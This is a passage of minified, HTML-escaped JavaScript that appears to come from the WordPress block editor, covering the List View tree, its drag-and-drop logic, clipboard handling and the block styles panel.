window.DOMRect(ue.clientX,ue.clientY,0,0)),ue.preventDefault())},[fo,y,rt]),te=(0,ko.useCallback)(ue=&gt;{fo&amp;&amp;ue.button===2&amp;&amp;ue.preventDefault()},[fo]),Le=(0,ko.useMemo)(()=&gt;{let{ownerDocument:ue}=k?.current||{};if(!(!C||!ue))return{ownerDocument:ue,getBoundingClientRect(){return C}}},[C]),ct=(0,ko.useCallback)(()=&gt;{B(void 0)},[B]);if(bJ({isSelected:i,rowItemRef:k,selectedClientIds:g}),!ot)return null;let Gc=IJ(c,f,u),ua=PJ(xe,E),Bp=by(ot?.attributes?.metadata?.blockVisibility),jk=f&gt;0,hf=m&amp;&amp;jk,cn=V(&quot;block-editor-list-view-block__mover-cell&quot;,{&quot;is-visible&quot;:S||i}),Ep=V(&quot;block-editor-list-view-block__menu-cell&quot;,{&quot;is-visible&quot;:S||L}),Tp;hf?Tp=2:rt||(Tp=3);let s0=V({&quot;is-selected&quot;:i,&quot;is-first-selected&quot;:L,&quot;is-last-selected&quot;:T,&quot;is-branch-selected&quot;:s,&quot;is-synced-branch&quot;:b,&quot;is-dragging&quot;:r,&quot;has-single-cell&quot;:!rt,&quot;is-synced&quot;:xe?.isSynced,&quot;is-draggable&quot;:ne,&quot;is-displacement-normal&quot;:t===&quot;normal&quot;,&quot;is-displacement-up&quot;:t===&quot;up&quot;,&quot;is-displacement-down&quot;:t===&quot;down&quot;,&quot;is-after-dragged-blocks&quot;:o,&quot;is-nesting&quot;:n}),a0=g.includes(e)?g:[e],Uk=i&amp;&amp;g.length===1;return(0,er.jsxs)(pJ,{className:s0,isDragged:r,onKeyDown:gt,onMouseEnter:To,onMouseLeave:cr,onFocus:To,onBlur:cr,level:u,position:c,rowCount:d,path:h,id:`list-view-${$t}-block-${e}`,&quot;data-block&quot;:e,&quot;data-expanded&quot;:X?p:void 0,ref:k,children:[(0,er.jsx)(Nm.__experimentalTreeGridCell,{className:&quot;block-editor-list-view-block__contents-cell&quot;,colSpan:Tp,ref:v,&quot;aria-selected&quot;:!!i,children:({ref:ue,tabIndex:to,onFocus:ye})=&gt;(0,er.jsxs)(&quot;div&quot;,{className:&quot;block-editor-list-view-block__contents-container&quot;,children:[(0,er.jsx)(EJ,{block:ot,onClick:ge,onContextMenu:Ke,onMouseDown:te,onToggleExpanded:Io,isSelected:i,position:c,siblingBlockCount:f,level:u,ref:ue,tabIndex:Uk?0:to,onFocus:ye,isExpanded:X?p:void 0,selectedClientIds:g,ariaDescribedBy:xt}),(0,er.jsx)(TT,{id:xt,children:[Gc,ua,Bp].filter(Boolean).join(&quot; &quot;)})]})}),hf&amp;&amp;(0,er.jsx)(er.Fragment,{children:(0,er.jsxs)(Nm.__experimentalTreeGridCell,{className:cn,withoutGridItem:!0,children:[(0,er.jsx)(Nm.__experimentalTreeGridItem,{children:({ref:ue,tabIndex:to,onFocus:ye})=&gt;(0,er.jsx)(gE,{orientation:&quot;vertical&quot;,clientIds:[e],ref:ue,tabIndex:to,onFocus:ye})}),(0,er.jsx)(Nm.__experimentalTreeGridItem,{children:({ref:ue,tabIndex:to,onFocus:ye})=&gt;(0,er.jsx)(bE,{orientation:&quot;vertical&quot;,clientIds:[e],ref:ue,tabIndex:to,onFocus:ye})})]})}),rt&amp;&amp;qo&amp;&amp;(0,er.jsx)(Nm.__experimentalTreeGridCell,{className:Ep,&quot;aria-selected&quot;:!!i,ref:y,children:({ref:ue,tabIndex:to,onFocus:ye})=&gt;(0,er.jsx)(qo,{clientIds:a0,block:ot,icon:ks,label:(0,s3.__)(&quot;Options&quot;),popoverProps:{anchor:Le},toggleProps:{ref:ue,className:&quot;block-editor-list-view-block__menu&quot;,tabIndex:to,onClick:ct,onFocus:ye,size:&quot;small&quot;},disableOpenOnArrowDown:!0,expand:At,expandedState:lr,setInsertedBlock:ln,__experimentalSelectBlock:Ct})}),I&amp;&amp;(0,er.jsx)(Tm,{clientId:e,onClose:()=&gt;P(!1)})]})}var VJ=(0,ko.memo)(DJ);var ni=l(w(),1);function FJ(e,t,o,r){return o?.includes(e.clientId)?0:t[e.clientId]??r?1+e.innerBlocks.reduce(EBe(t,o,r),0):1}var EBe=(e,t,o)=&gt;(r,n)=&gt;t?.includes(n.clientId)?r:(e[n.clientId]??o)&amp;&amp;n.innerBlocks.length&gt;0?r+FJ(n,e,t,o):r+1,TBe=()=&gt;{};function zJ(e){let{blocks:t,selectBlock:o=TBe,showBlockMovers:r,selectedClientIds:n,level:i=1,path:s=&quot;&quot;,isBranchSelected:a=!1,listPosition:c=0,fixedListWindow:u,isExpanded:d,parentId:f,shouldShowInnerBlocks:m=!0,isSyncedBranch:h=!1,showAppender:p=!0}=e,g=Tt(f),b=h||!!g?.isSynced,v=(0,MT.useSelect)(O=&gt;f?O(_).canEditBlock(f):!0,[f]),{blockDropPosition:k,blockDropTargetIndex:y,firstDraggedBlockIndex:S,blockIndexes:x,expandedState:C,draggedClientIds:B}=md(),I=(0,NT.useRef)();if(!v)return null;let P=p&amp;&amp;i===1,E=t.filter(Boolean),L=E.length,T=P?L+1:L;return I.current=c,(0,ni.jsxs)(ni.Fragment,{children:[E.map((O,D)=&gt;{let{clientId:U,innerBlocks:G}=O;D&gt;0&amp;&amp;(I.current+=FJ(E[D-1],C,B,d));let j=!!B?.includes(U),{displacement:z,isAfterDraggedBlocks:W,isNesting:ee}=AJ({blockIndexes:x,blockDropTargetIndex:y,blockDropPosition:k,clientId:U,firstDraggedBlockIndex:S,isDragged:j}),{itemInView:se}=u,ce=se(I.current),ie=D+1,re=s.length&gt;0?`${s}_${ie}`:`${ie}`,Q=!!G?.length,Y=Q&amp;&amp;m?C[U]??d:void 0,J=RJ(U,n),K=a||J&amp;&amp;Q,H=j||ce||J&amp;&amp;U===n[0]||D===0||D===L-1;return(0,ni.jsxs)(MT.AsyncModeProvider,{value:!J,children:[H&amp;&amp;(0,ni.jsx)(VJ,{block:O,selectBlock:o,isSelected:J,isBranchSelected:K,isDragged:j,level:i,position:ie,rowCount:T,siblingBlockCount:L,showBlockMovers:r,path:re,isExpanded:j?!1:Y,listPosition:I.current,selectedClientIds:n,isSyncedBranch:b,displacement:z,isAfterDraggedBlocks:W,isNesting:ee}),!H&amp;&amp;(0,ni.jsx)(&quot;tr&quot;,{children:(0,ni.jsx)(&quot;td&quot;,{className:&quot;block-editor-list-view-placeholder&quot;})}),Q&amp;&amp;Y&amp;&amp;!j&amp;&amp;(0,ni.jsx)(zJ,{parentId:U,blocks:G,selectBlock:o,showBlockMovers:r,level:i+1,path:re,listPosition:I.current+1,fixedListWindow:u,isBranchSelected:K,selectedClientIds:n,isExpanded:d,isSyncedBranch:b})]},U)}),P&amp;&amp;(0,ni.jsx)(LT.__experimentalTreeGridRow,{level:i,setSize:T,positionInSet:T,isExpanded:!0,children:(0,ni.jsx)(LT.__experimentalTreeGridCell,{children:O=&gt;(0,ni.jsx)(n3,{clientId:f,nestingLevel:i,blockCount:L,...O})})})]})}var jJ=(0,NT.memo)(zJ);var Yg=l(A(),1),DT=l(Fe(),1),sc=l(R(),1),a3=l(N(),1);var Xi=l(w(),1);function UJ({draggedBlockClientId:e,listViewRef:t,blockDropTarget:o}){let r=Tt(e),n=zr({clientId:e,context:&quot;list-view&quot;}),{rootClientId:i,clientId:s,dropPosition:a}=o||{},[c,u]=(0,sc.useMemo)(()=&gt;{if(!t.current)return[];let k=i?t.current.querySelector(`[data-block=&quot;${i}&quot;]`):void 0,y=s?t.current.querySelector(`[data-block=&quot;${s}&quot;]`):void 0;return[k,y]},[t,i,s]),d=u||c,f=(0,a3.isRTL)(),m=(0,sc.useCallback)((k,y)=&gt;{if(!d)return 0;let S=d.offsetWidth,x=(0,DT.getScrollContainer)(d,&quot;horizontal&quot;),C=d.ownerDocument,B=x===C.body||x===C.documentElement;if(x&amp;&amp;!B){let I=x.getBoundingClientRect(),P=(0,a3.isRTL)()?I.right-k.right:k.left-I.left,E=x.clientWidth;if(E&lt;S+P&amp;&amp;(S=E-P),!f&amp;&amp;k.left+y&lt;I.left)return S-=I.left-k.left,S;if(f&amp;&amp;k.right-y&gt;I.right)return S-=k.right-I.right,S}return S-y},[f,d]),h=(0,sc.useMemo)(()=&gt;{if(!d)return{};let k=d.getBoundingClientRect();return{width:m(k,0)}},[m,d]),p=(0,sc.useMemo)(()=&gt;{if(!d)return{};let k=(0,DT.getScrollContainer)(d),y=d.ownerDocument,S=k===y.body||k===y.documentElement;if(k&amp;&amp;!S){let x=k.getBoundingClientRect(),C=d.getBoundingClientRect(),B=f?x.right-C.right:C.left-x.left;if(!f&amp;&amp;x.left&gt;C.left)return{transform:`translateX( ${B}px )`};if(f&amp;&amp;x.right&lt;C.right)return{transform:`translateX( ${B*-1}px )`}}return{}},[f,d]),g=(0,sc.useMemo)(()=&gt;{if(!c)return 1;let k=parseInt(c.getAttribute(&quot;aria-level&quot;),10);return k?k+1:1},[c]),b=(0,sc.useMemo)(()=&gt;d?d.classList.contains(&quot;is-branch-selected&quot;):!1,[d]),v=(0,sc.useMemo)(()=&gt;{if(!(!d||!(a===&quot;top&quot;||a===&quot;bottom&quot;||a===&quot;inside&quot;)))return{contextElement:d,getBoundingClientRect(){let y=d.getBoundingClientRect(),S=y.left,x=0,C=(0,DT.getScrollContainer)(d,&quot;horizontal&quot;),B=d.ownerDocument,I=C===B.body||C===B.documentElement;if(C&amp;&amp;!I){let L=C.getBoundingClientRect(),T=f?C.offsetWidth-C.clientWidth:0;S&lt;L.left+T&amp;&amp;(S=L.left+T)}a===&quot;top&quot;?x=y.top-y.height*2:x=y.top;let P=m(y,0),E=y.height;return new window.DOMRect(S,x,P,E)}}},[d,a,m,f]);return d?(0,Xi.jsx)(Yg.Popover,{animate:!1,anchor:v,focusOnMount:!1,className:&quot;block-editor-list-view-drop-indicator--preview&quot;,variant:&quot;unstyled&quot;,flip:!1,resize:!0,children:(0,Xi.jsx)(&quot;div&quot;,{style:h,className:V(&quot;block-editor-list-view-drop-indicator__line&quot;,{&quot;block-editor-list-view-drop-indicator__line--darker&quot;:b}),children:(0,Xi.jsxs)(&quot;div&quot;,{className:&quot;block-editor-list-view-leaf&quot;,&quot;aria-level&quot;:g,children:[(0,Xi.jsxs)(&quot;div&quot;,{className:V(&quot;block-editor-list-view-block-select-button&quot;,&quot;block-editor-list-view-block-contents&quot;),style:p,children:[(0,Xi.jsx)(PT,{onClick:()=&gt;{}}),(0,Xi.jsx)(Ae,{icon:r?.icon,showColors:!0,context:&quot;list-view&quot;}),(0,Xi.jsx)(Yg.__experimentalHStack,{alignment:&quot;center&quot;,className:&quot;block-editor-list-view-block-select-button__label-wrapper&quot;,justify:&quot;flex-start&quot;,spacing:1,children:(0,Xi.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__title&quot;,children:(0,Xi.jsx)(Yg.__experimentalTruncate,{ellipsizeMode:&quot;auto&quot;,children:n})})})]}),(0,Xi.jsx)(&quot;div&quot;,{className:&quot;block-editor-list-view-block__menu-cell&quot;})]})})}):null}var HJ=l(Xo(),1),qg=l(N(),1),AS=l(F(),1),GJ=l(R(),1),ii=l(it(),1),WJ=l($(),1);function $J(){let{clearSelectedBlock:e,multiSelect:t,selectBlock:o}=(0,AS.useDispatch)(_),{getBlockName:r,getBlockParents:n,getBlockSelectionStart:i,getSelectedBlockClientIds:s,hasMultiSelection:a,hasSelectedBlock:c}=(0,AS.useSelect)(_),{getBlockType:u}=(0,AS.useSelect)(WJ.store);return{updateBlockSelection:(0,GJ.useCallback)(async(f,m,h,p)=&gt;{if(!f?.shiftKey&amp;&amp;f?.keyCode!==ii.ESCAPE){o(m,p);return}f.preventDefault();let g=f.type===&quot;keydown&quot;&amp;&amp;f.keyCode===ii.ESCAPE,b=f.type===&quot;keydown&quot;&amp;&amp;(f.keyCode===ii.UP||f.keyCode===ii.DOWN||f.keyCode===ii.HOME||f.keyCode===ii.END);if(!b&amp;&amp;!c()&amp;&amp;!a()){o(m,null);return}let v=s(),k=[...n(m),m];if((g||b&amp;&amp;!v.some(C=&gt;k.includes(C)))&amp;&amp;await e(),!g){let C=i(),B=m;b&amp;&amp;(!c()&amp;&amp;!a()&amp;&amp;(C=m),h&amp;&amp;(B=h));let I=n(C),P=n(B),{start:E,end:L}=OJ(C,B,I,P);await t(E,L,null)}let y=s();if((f.keyCode===ii.HOME||f.keyCode===ii.END)&amp;&amp;y.length&gt;1)return;let S=v.filter(C=&gt;!y.includes(C)),x;if(S.length===1){let C=u(r(S[0]))?.title;C&amp;&amp;(x=(0,qg.sprintf)((0,qg.__)(&quot;%s deselected.&quot;),C))}else S.length&gt;1&amp;&amp;(x=(0,qg.sprintf)((0,qg.__)(&quot;%s blocks deselected.&quot;),S.length));x&amp;&amp;(0,HJ.speak)(x,&quot;assertive&quot;)},[e,r,u,n,i,s,a,c,t,o])}}var KJ=l(R(),1);function YJ(e){return(0,KJ.useMemo)(()=&gt;{let o={},r=0,n=i=&gt;{i.forEach(s=&gt;{o[s.clientId]=r,r++,s.innerBlocks.length&gt;0&amp;&amp;n(s.innerBlocks)})};return n(e),o},[e])}var qJ=l(F(),1);function ZJ({blocks:e,rootClientId:t}){return(0,qJ.useSelect)(o=&gt;{let{getDraggedBlockClientIds:r,getSelectedBlockClientIds:n,getEnabledClientIdsTree:i}=M(o(_));return{selectedClientIds:n(),draggedClientIds:r(),clientIdsTree:e??i(t)}},[e,t])}var XJ=l(R(),1),QJ=l(F(),1);function JJ({collapseAll:e,expand:t}){let{expandedBlock:o,getBlockParents:r}=(0,QJ.useSelect)(n=&gt;{let{getBlockParents:i,getExpandedBlock:s}=M(n(_));return{expandedBlock:s(),getBlockParents:i}},[]);(0,XJ.useEffect)(()=&gt;{if(o){let n=r(o,!1);e(),t(n)}},[e,t,o,r])}var eee=l(F(),1),Mm=l(R(),1),Dm=l(Z(),1),tee=l(N(),1);var ac=24;function IBe(e,t,o=1,r=!1){let n=r?t.right-o*ac:t.left+o*ac;return r?e.x&gt;n:e.x&lt;n}function PBe(e,t,o=1,r=!1){let n=r?t.right-o*ac:t.left+o*ac,i=r?n-e.x:e.x-n,s=Math.round(i/ac);return Math.abs(s)}function RBe(e,t){let o=[],r=e;for(;r;)o.push({...r}),r=t.find(n=&gt;n.clientId===r.rootClientId);return o}function oee(e,t){let o=e[t+1];return o&amp;&amp;o.isDraggedBlock?oee(e,t+1):o}function OBe(e,t,o=1,r=!1){let n=r?t.right-o*ac:t.left+o*ac;return(r?e.x&lt;n-ac:e.x&gt;n+ac)&amp;&amp;e.y&lt;t.bottom}var ABe=[&quot;top&quot;,&quot;bottom&quot;];function LBe(e,t,o=!1){let r,n,i,s,a;for(let f=0;f&lt;e.length;f++){let m=e[f];if(m.isDraggedBlock)continue;let h=m.element.getBoundingClientRect(),[p,g]=bm(t,h,ABe),b=GB(t,h);if(i===void 0||p&lt;i||b){i=p;let v=e.indexOf(m),k=e[v-1];if(g===&quot;top&quot;&amp;&amp;k&amp;&amp;k.rootClientId===m.rootClientId&amp;&amp;!k.isDraggedBlock?(n=k,r=&quot;bottom&quot;,s=k.element.getBoundingClientRect(),a=v-1):(n=m,r=g,s=h,a=v),b)break}}if(!n)return;let c=RBe(n,e),u=r===&quot;bottom&quot;;if(u&amp;&amp;n.canInsertDraggedBlocksAsChild&amp;&amp;(n.innerBlockCount&gt;0&amp;&amp;n.isExpanded||OBe(t,s,c.length,o))){let f=n.isExpanded?0:n.innerBlockCount||0;return{rootClientId:n.clientId,clientId:n.clientId,blockIndex:f,dropPosition:&quot;inside&quot;}}if(u&amp;&amp;n.rootClientId&amp;&amp;IBe(t,s,c.length,o)){let f=oee(e,a),m=n.nestingLevel,h=f?f.nestingLevel:1;if(m&amp;&amp;h){let p=PBe(t,s,c.length,o),g=Math.max(Math.min(p,m-h),0);if(c[g]){let b=n.blockIndex;if(c[g].nestingLevel===f?.nestingLevel)b=f?.blockIndex;else for(let v=a;v&gt;=0;v--){let k=e[v];if(k.rootClientId===c[g].rootClientId){b=k.blockIndex+1;break}}return{rootClientId:c[g].rootClientId,clientId:n.clientId,blockIndex:b,dropPosition:r}}}}if(!n.canInsertDraggedBlocksAsSibling)return;let d=u?1:0;return{rootClientId:n.rootClientId,clientId:n.clientId,blockIndex:n.blockIndex+d,dropPosition:r}}var NBe={leading:!1,trailing:!0};function ree({dropZoneElement:e,expandedState:t,setExpandedState:o}){let{getBlockRootClientId:r,getBlockIndex:n,getBlockCount:i,getDraggedBlockClientIds:s,canInsertBlocks:a}=(0,eee.useSelect)(_),[c,u]=(0,Mm.useState)(),{rootClientId:d,blockIndex:f}=c||{},m=HB(d,f),h=(0,tee.isRTL)(),p=(0,Dm.usePrevious)(d),g=(0,Mm.useCallback)((S,x)=&gt;{let{rootClientId:C}=x||{};C&amp;&amp;x?.dropPosition===&quot;inside&quot;&amp;&amp;!S[C]&amp;&amp;o({type:&quot;expand&quot;,clientIds:[C]})},[o]),b=(0,Dm.useThrottle)(g,500,NBe);(0,Mm.useEffect)(()=&gt;{if(c?.dropPosition!==&quot;inside&quot;||p!==c?.rootClientId){b.cancel();return}b(t,c)},[t,p,c,b]);let v=s(),k=(0,Dm.useThrottle)((0,Mm.useCallback)((S,x)=&gt;{let C={x:S.clientX,y:S.clientY},B=!!v?.length,P=Array.from(x.querySelectorAll(&quot;[data-block]&quot;)).map(L=&gt;{let T=L.dataset.block,O=L.dataset.expanded===&quot;true&quot;,D=L.classList.contains(&quot;is-dragging&quot;),U=parseInt(L.getAttribute(&quot;aria-level&quot;),10),G=r(T);return{clientId:T,isExpanded:O,rootClientId:G,blockIndex:n(T),element:L,nestingLevel:U||void 0,isDraggedBlock:B?D:!1,innerBlockCount:i(T),canInsertDraggedBlocksAsSibling:B?a(v,G):!0,canInsertDraggedBlocksAsChild:B?a(v,T):!0}}),E=LBe(P,C,h);E&amp;&amp;u(E)},[a,v,i,n,r,h]),50);return{ref:(0,Dm.__experimentalUseDropZone)({dropZoneElement:e,onDrop(S){k.cancel(),c&amp;&amp;m(S),u(void 0)},onDragLeave(){k.cancel(),u(null)},onDragOver(S){k(S,S.currentTarget)},onDragEnd(){k.cancel(),u(void 0)}}),target:c}}var VT=l(R(),1),nee=l(F(),1);function iee({firstSelectedBlockClientId:e,setExpandedState:t}){let[o,r]=(0,VT.useState)(null),{selectedBlockParentClientIds:n}=(0,nee.useSelect)(i=&gt;{let{getBlockParents:s}=i(_);return{selectedBlockParentClientIds:s(e,!1)}},[e]);return(0,VT.useEffect)(()=&gt;{o!==e&amp;&amp;n?.length&amp;&amp;t({type:&quot;expand&quot;,clientIds:n})},[e,n,o,t]),{setSelectedTreeId:r}}var Zg=l(F(),1),see=l(Z(),1);function aee({selectBlock:e}){let t=(0,Zg.useRegistry)(),{getBlockOrder:o,getBlockRootClientId:r,getBlocksByClientId:n,getPreviousBlockClientId:i,getSelectedBlockClientIds:s,getSettings:a,canInsertBlockType:c,canRemoveBlocks:u}=(0,Zg.useSelect)(_),{flashBlock:d,removeBlocks:f,replaceBlocks:m,insertBlocks:h}=(0,Zg.useDispatch)(_),p=Oh();return(0,see.useRefEffect)(g=&gt;{function b(y,S){S&amp;&amp;e(void 0,y,null,null),$g(y,g)}function v(y){let S=s(),x=S.includes(y),C=x?S[0]:y,B=r(C);return{blocksToUpdate:x?S:[y],firstBlockClientId:C,firstBlockRootClientId:B,originallySelectedBlockClientIds:S}}function k(y){if(y.defaultPrevented||!g.contains(y.target.ownerDocument.activeElement))return;let x=y.target.ownerDocument.activeElement?.closest(&quot;[role=row]&quot;)?.dataset?.block;if(!x)return;let{blocksToUpdate:C,firstBlockClientId:B,firstBlockRootClientId:I,originallySelectedBlockClientIds:P}=v(x);if(C.length!==0){if(y.preventDefault(),y.type===&quot;copy&quot;||y.type===&quot;cut&quot;){C.length===1&amp;&amp;d(C[0]),p(y.type,C);let E=n(C);C1(y,E,t)}if(y.type===&quot;cut&quot;){if(!u(C))return;let E=i(B)??I;f(C,!1);let L=P.length&gt;0&amp;&amp;s().length===0;E||(E=o()[0]),b(E,L)}else if(y.type===&quot;paste&quot;){let{__experimentalCanUserUseUnfilteredHTML:E}=a(),L=vG(y,E);if(C.length===1){let[T]=C;if(L.every(O=&gt;c(O.name,T))){h(L,void 0,T),b(L[0]?.clientId,!1);return}}m(C,L,L.length-1,-1),b(L[0]?.clientId,!1)}}}return g.ownerDocument.addEventListener(&quot;copy&quot;,k),g.ownerDocument.addEventListener(&quot;cut&quot;,k),g.ownerDocument.addEventListener(&quot;paste&quot;,k),()=&gt;{g.ownerDocument.removeEventListener(&quot;copy&quot;,k),g.ownerDocument.removeEventListener(&quot;cut&quot;,k),g.ownerDocument.removeEventListener(&quot;paste&quot;,k)}},[])}var lc=l(w(),1),MBe=(e,t)=&gt;t.type===&quot;clear&quot;?{}:Array.isArray(t.clientIds)?{...e,...t.clientIds.reduce((o,r)=&gt;({...o,[r]:t.type===&quot;expand&quot;}),{})}:e,lee=32;function uee({id:e,blocks:t,dropZoneElement:o,showBlockMovers:r=!1,isExpanded:n=!1,showAppender:i=!1,blockSettingsMenu:s=IV,rootClientId:a,description:c,onSelect:u,additionalBlockContent:d},f){t&amp;&amp;(0,cee.default)(&quot;`blocks` property in `wp.blockEditor.__experimentalListView`&quot;,{since:&quot;6.3&quot;,alternative:&quot;`rootClientId` property&quot;});let m=(0,Xg.useInstanceId)(uee),{clientIdsTree:h,draggedClientIds:p,selectedClientIds:g}=ZJ({blocks:t,rootClientId:a}),b=YJ(h),{getBlock:v,getSelectedBlockClientIds:k}=(0,LS.useSelect)(_),{visibleBlockCount:y}=(0,LS.useSelect)(X=&gt;{let{getGlobalBlockCount:ne,getClientIdsOfDescendants:le}=X(_),ve=p?.length&gt;0?le(p).length+1:0;return{visibleBlockCount:ne()-ve}},[p]),{updateBlockSelection:S}=$J(),[x,C]=(0,vo.useReducer)(MBe,{}),[B,I]=(0,vo.useState)(null),{setSelectedTreeId:P}=iee({firstSelectedBlockClientId:g[0],setExpandedState:C}),E=(0,vo.useCallback)((X,ne,le)=&gt;{S(X,ne,null,le),P(ne),u&amp;&amp;u(v(ne))},[P,S,u,v]),{ref:L,target:T}=ree({dropZoneElement:o,expandedState:x,setExpandedState:C}),O=(0,vo.useRef)(),D=aee({selectBlock:E}),U=(0,vo.useCallback)(X=&gt;{let[ne]=k();ne&amp;&amp;X&amp;&amp;$g(ne,X)},[k]),G=(0,Xg.useMergeRefs)([D,U,O,L,f]),j=(0,vo.useCallback)(X=&gt;{if(!X)return;let ne=Array.isArray(X)?X:[X];C({type:&quot;expand&quot;,clientIds:ne})},[C]),z=(0,vo.useCallback)(X=&gt;{X&amp;&amp;C({type:&quot;collapse&quot;,clientIds:[X]})},[C]),W=(0,vo.useCallback)(()=&gt;{C({type:&quot;clear&quot;})},[C]),ee=(0,vo.useCallback)(X=&gt;{j(X?.dataset?.block)},[j]),se=(0,vo.useCallback)(X=&gt;{z(X?.dataset?.block)},[z]),ce=(0,vo.useCallback)((X,ne,le)=&gt;{X.shiftKey&amp;&amp;S(X,ne?.dataset?.block,le?.dataset?.block)},[S]);JJ({collapseAll:W,expand:j});let ie=p?.[0],{blockDropTargetIndex:re,blockDropPosition:Q,firstDraggedBlockIndex:Y}=(0,vo.useMemo)(()=&gt;{let X,ne;if(T?.clientId){let le=b[T.clientId];X=le===void 0||T?.dropPosition===&quot;top&quot;?le:le+1}else T===null&amp;&amp;(X=null);if(ie){let le=b[ie];ne=le===void 0||T?.dropPosition===&quot;top&quot;?le:le+1}return{blockDropTargetIndex:X,blockDropPosition:T?.dropPosition,firstDraggedBlockIndex:ne}},[T,b,ie]),J=(0,vo.useMemo)(()=&gt;({blockDropPosition:Q,blockDropTargetIndex:re,blockIndexes:b,draggedClientIds:p,expandedState:x,expand:j,firstDraggedBlockIndex:Y,collapse:z,collapseAll:W,BlockSettingsMenu:s,listViewInstanceId:m,AdditionalBlockContent:d,insertedBlock:B,setInsertedBlock:I,treeGridElementRef:O,rootClientId:a}),[Q,re,b,p,x,j,Y,z,W,s,m,d,B,I,a]),[K]=(0,Xg.__experimentalUseFixedWindowList)(O,lee,y,{expandedState:x,useWindowing:!0,windowOverscan:40});if(!h.length&amp;&amp;!i)return null;let H=c&amp;&amp;`block-editor-list-view-description-${m}`;return(0,lc.jsxs)(LS.AsyncModeProvider,{value:!0,children:[(0,lc.jsx)(UJ,{draggedBlockClientId:ie,listViewRef:O,blockDropTarget:T}),c&amp;&amp;(0,lc.jsx)(FT.VisuallyHidden,{id:H,children:c}),(0,lc.jsx)(FT.__experimentalTreeGrid,{id:e,className:V(&quot;block-editor-list-view-tree&quot;,{&quot;is-dragging&quot;:p?.length&gt;0&amp;&amp;re!==void 0}),&quot;aria-label&quot;:(0,l3.__)(&quot;Block navigation structure&quot;),ref:G,onCollapseRow:se,onExpandRow:ee,onFocusRow:ce,applicationAriaLabel:(0,l3.__)(&quot;Block navigation structure&quot;),&quot;aria-describedby&quot;:H,style:{&quot;--wp-admin--list-view-dragged-items-height&quot;:p?.length?`${lee*(p.length-1)}px`:null},children:(0,lc.jsx)(BT.Provider,{value:J,children:(0,lc.jsx)(jJ,{blocks:h,parentId:a,selectBlock:E,showBlockMovers:r,fixedListWindow:K,selectedClientIds:g,isExpanded:n,showAppender:i})})})]})}var NS=(0,vo.forwardRef)(uee),zT=(0,vo.forwardRef)((e,t)=&gt;(0,lc.jsx)(NS,{ref:t,...e,showAppender:!1,rootClientId:null,onSelect:null,additionalBlockContent:null,blockSettingsMenu:void 0}));var bd=l(w(),1);function DBe({isEnabled:e,onToggle:t,isOpen:o,innerRef:r,...n}){return(0,bd.jsx)(jT.Button,{__next40pxDefaultSize:!0,...n,ref:r,icon:sv,&quot;aria-expanded&quot;:o,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:e?t:void 0,label:(0,c3.__)(&quot;List view&quot;),className:&quot;block-editor-block-navigation&quot;,&quot;aria-disabled&quot;:!e})}function VBe({isDisabled:e,...t},o){(0,dee.default)(&quot;wp.blockEditor.BlockNavigationDropdown&quot;,{since:&quot;6.1&quot;,alternative:&quot;wp.components.Dropdown and wp.blockEditor.ListView&quot;});let n=(0,fee.useSelect)(i=&gt;!!i(_).getBlockCount(),[])&amp;&amp;!e;return(0,bd.jsx)(jT.Dropdown,{contentClassName:&quot;block-editor-block-navigation__popover&quot;,popoverProps:{placement:&quot;bottom-start&quot;},renderToggle:({isOpen:i,onToggle:s})=&gt;(0,bd.jsx)(DBe,{...t,innerRef:o,isOpen:i,onToggle:s,isEnabled:n}),renderContent:()=&gt;(0,bd.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-navigation__container&quot;,children:[(0,bd.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-navigation__label&quot;,children:(0,c3.__)(&quot;List view&quot;)}),(0,bd.jsx)(zT,{})]})})}var pee=(0,mee.forwardRef)(VBe);var vee=l(R(),1),yee=l(F(),1),UT=l(Z(),1),Da=l(A(),1),u3=l(N(),1);var hee=l(R(),1);var gee=l(w(),1);function bee({genericPreviewBlock:e,style:t,className:o,activeStyle:r}){let n=Tg(o,r,t),i=(0,hee.useMemo)(()=&gt;({name:e.name,title:t.label||t.name,description:t.description,initialAttributes:{...e.attributes,className:n+&quot; block-editor-block-styles__block-preview-container&quot;},example:e}),[e,t,n]);return(0,gee.jsx)(X1,{item:i})}var Gs=l(w(),1),kee=()=&gt;{};function FBe({clientId:e,onSwitch:t=kee,onHoverClassName:o=kee}){let r=(0,yee.useSelect)(y=&gt;y(_).canEditBlock(e),[e]),{onSelect:n,stylesToRender:i,activeStyle:s,genericPreviewBlock:a,className:c}=Ig({clientId:e,onSwitch:t}),[u,d]=(0,vee.useState)(null),f=(0,UT.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),m=Ro();if(!r||!i||i.length===0)return null;let h=(0,UT.debounce)(d,250),p=y=&gt;{n(y),o(null),d(null),h.cancel()},g=y=&gt;{if(u===y){h.cancel();return}h(y),o(y?.name??null)},b=QE(i),v=()=&gt;s?.name!==b?.name,k=()=&gt;{p(b)};return(0,Gs.jsx)(Da.__experimentalToolsPanel,{label:(0,u3.__)(&quot;Styles&quot;),resetAll:k,panelId:e,hasInnerWrapper:!0,dropdownMenuProps:m,children:(0,Gs.jsx)(Da.__experimentalToolsPanelItem,{hasValue:v,label:(0,u3.__)(&quot;Variation&quot;),onDeselect:k,isShownByDefault:!0,panelId:e,children:(0,Gs.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-styles&quot;,children:[(0,Gs.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__variants&quot;,children:i.map(y=&gt;{let S=y.label||y.name;return(0,Gs.jsx)(Da.Button,{__next40pxDefaultSize:!0,className:V(&quot;block-editor-block-styles__item&quot;,{&quot;is-active&quot;:s.name===y.name}),variant:&quot;secondary&quot;,label:S,onMouseEnter:()=&gt;g(y),onFocus:()=&gt;g(y),onMouseLeave:()=&gt;g(null),onBlur:()=&gt;g(null),onClick:()=&gt;p(y),&quot;aria-current&quot;:s.name===y.name,children:(0,Gs.jsx)(Da.__experimentalTruncate,{numberOfLines:1,className:&quot;block-editor-block-styles__item-text&quot;,children:S})},y.name)})}),u&amp;&amp;!f&amp;&amp;(0,Gs.jsx)(Da.Popover,{placement:&quot;left-start&quot;,offset:34,focusOnMount:!1,children:(0,Gs.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-styles__preview-panel&quot;,onMouseLeave:()=&gt;g(null),children:(0,Gs.jsx)(bee,{activeStyle:s,className:c,genericPreviewBlock:a,style:u})})})]})})})}var Qg=FBe;var Cee=l(A(),1),Jg=l(N(),1);var 